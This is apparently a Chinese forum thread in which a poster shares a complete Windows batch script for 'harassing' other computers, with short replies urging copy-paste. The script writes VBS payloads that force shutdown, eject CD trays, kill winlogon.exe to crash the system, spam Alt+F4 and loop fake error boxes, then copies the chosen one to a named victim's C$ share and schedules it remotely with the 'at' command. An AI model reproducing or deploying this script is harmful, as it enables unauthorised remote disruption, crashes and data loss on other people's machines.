一楼喂熊

233333333333333333333333333333333333333333333333333333333333是ping，是ping，还是ping

@echo off
mode con cols=40 lines=30&color f0
:mu
echo 正在设置时间...
rem 获取当前时间
set tim=%time:~0,5%
set t1=%time:~0,3%
set t2=%time:~3,2%
set /a s=%t2:~0,1%
set /a d=%t2:~1,1%
set /a f=%d%+2
set /a g=%t2%+2
rem 决定当前时间
echo %g%
echo %f%
set t1=%time:~0,3%%g%
rem 如果分钟的十位等于0
if %s% equ 0 (
set t1=%time:~0,3%%s%%f%
)
echo 决定执行时间为:%t1%
echo 当前时间:%tim%
rem at %t1% /interactive dxdiag >>log.txt
echo 时间设置完成!
echo 开始准备相关文件...
if exist shutdown.vbs del shutdown.vbs
if exist cdrom.vbs del cdrom.vbs
if exist bluesc.vbs del bluesc.vbs
if exist altf4.vbs del altf4.vbs
if exist msgloop.vbs del msgloop.vbs
rem 写入shutdown.vbs
echo set key=WScript.CreateObject("WScript.Shell") >>shutdown.vbs
echo dim x:x=false >>shutdown.vbs
echo do until x=true >>shutdown.vbs
echo key.sendkeys "{esc}" >>shutdown.vbs
echo key.sendkeys "^{esc}{u}" >>shutdown.vbs
echo key.sendkeys "{enter}" >>shutdown.vbs
echo loop >>shutdown.vbs
rem 写入cdrom.vbs
echo ON ERROR RESUME NEXT >>cdrom.vbs
echo Set wmp = CreateObject("WMPlayer.OCX.7") >>cdrom.vbs
echo Set cdrom = wmp.cdromCollection >>cdrom.vbs
echo If cdrom.Count >= 1 then >>cdrom.vbs
echo For z = 0 to cdrom.Count - 1 >>cdrom.vbs
echo cdrom.Item(z).eject >>cdrom.vbs
echo Next >>cdrom.vbs
echo For z = 0 to cdrom.Count - 1 >>cdrom.vbs
echo cdrom.Item(z).eject >>cdrom.vbs
echo Next >>cdrom.vbs
echo End If >>cdrom.vbs
rem 写入bluesc.vbs
echo Set ws = CreateObject("Wscript.Shell") >>bluesc.vbs
echo wscript.sleep 1200 >>bluesc.vbs
echo ws.run "cmd /c start /min ntsd -c q -pn winlogon.exe 1>nul 2>nul",vbhide >>bluesc.vbs
rem 写入altf4.vbs
echo set key=WScript.CreateObject("WScript.Shell") >>altf4.vbs
echo dim x:x=false >>altf4.vbs
echo do until x=true >>altf4.vbs
echo key.sendkeys "%{F4}" >>altf4.vbs
echo loop >>altf4.vbs
rem 写入msgloop.vbs
echo dim x:x=false >>msgloop.vbs
echo do until x=true >>msgloop.vbs
echo msgbox "系统出现严重故障!" >>msgloop.vbs
echo loop >>msgloop.vbs
echo 装载完成!
echo ================主菜单==================
echo 1.关闭计算机 2.光驱骚扰 3.蓝 屏
echo 4.alt+f4骚扰 5.无限消息框(谨慎使用!)
echo ========================================
set /p ch=请选择:
set /p user=请输入对方姓名:
echo 骚扰信息为:
echo 菜单选项:%ch%
echo 接受者:%user%
set /p sure=请确认(y/n):
if %sure% neq "y" (
cls
goto mu
)
if %ch% == 1 (goto ch1)
if %ch% == 2 (goto ch2)
if %ch% == 3 (goto ch3)
if %ch% == 4 (goto ch4)
if %ch% == 5 (goto ch5)
:ch1
copy shutdown.vbs \\%user%\c$\
at \\%user% %t1% /interactive \\%user%\c$\shutdown.vbs
cls
goto mu
:ch2
copy cdrom.vbs \\%user%\c$\
at \\%user% %t1% /interactive \\%user%\c$\cdrom.vbs
cls
goto mu
:ch3
copy bluesc.vbs \\%user%\c$\
at \\%user% %t1% /interactive \\%user%\c$\bluesc.vbs
cls
goto mu
:ch4
copy altf4.vbs \\%user%\c$\
at \\%user% %t1% /interactive \\%user%\c$\altf4.vbs
cls
goto mu
:ch5
copy msgloop.vbs \\%user%\c$\
at \\%user% %t1% /interactive \\%user%\c$\msgloop.vbs
cls
goto mu

ctrl+a,ctrl+c,ctrl+v

我在用外国电脑，发不了成品。。。

我试试 vm不怕不怕